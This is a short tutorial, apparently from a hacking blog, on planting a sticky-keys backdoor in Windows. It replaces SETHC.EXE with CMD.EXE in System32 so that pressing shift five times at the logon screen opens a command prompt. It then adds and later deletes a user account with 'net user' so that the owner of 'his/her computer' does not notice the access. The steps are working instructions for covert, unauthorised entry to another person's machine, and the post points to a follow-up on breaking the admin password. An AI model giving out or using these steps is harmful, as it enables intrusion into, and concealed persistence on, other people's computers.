According to Wikipedia, Backdoor in a computer system is a method of bypassing normal authentication, securing remote access to a computer, obtaining access to plaintext, and so on, while attempting to remain undetected. The backdoor may take the form of an installed program or may subvert the system through a rootkit.
here, i am going to show it via system32 files
Step-1: Go to "c:\Windows\System32" and locate "CMD.EXE" and "SETHC.EXE"
SETHC.EXE - responsible for the sticky keys
CMD.EXE - for command prompt
retain a copy of the CMD.EXE and SETHC.EXE and save for the backup (hardly of 800 kb)
Step-2: Rename "SETHC.EXE" to whatever you want and "CMD.EXE" to "SETHC.EXE"
this allows you to open cmd prompt when you hit "shift" five times
(to rename the file you need to have the adminisator's privilages)
Step-3: Now log-off and press "shift" five times and you will see the command prompt on the screen
Now write "net user yourusername /add" in the cmd prompt box and hit "Enter"
this will create a new user named "yourusername"
log-in using "yourusername" user account and when you done log-off and again press "shift"
5 times and again the cmd prompt will open, in it write "net user yourusername /del" this will delete your user so that when the computer owner logins the computer it will not get to
know about the other user account
Step-4: You are almost done, whenever you want to use his/her computer just start computer and
follow the Step-3.
"YOU NEED TO HAVE LOGGED IN AS ADMINISTRATOR ATLEAST ONCE TO CREATE BACKDOOR LOG IN , IF YOU DON'T GET THE ADMINISTRATOR LOG-IN,BREAK THE ADMIN PASSWORD BY READING NEXT ARTICLE"
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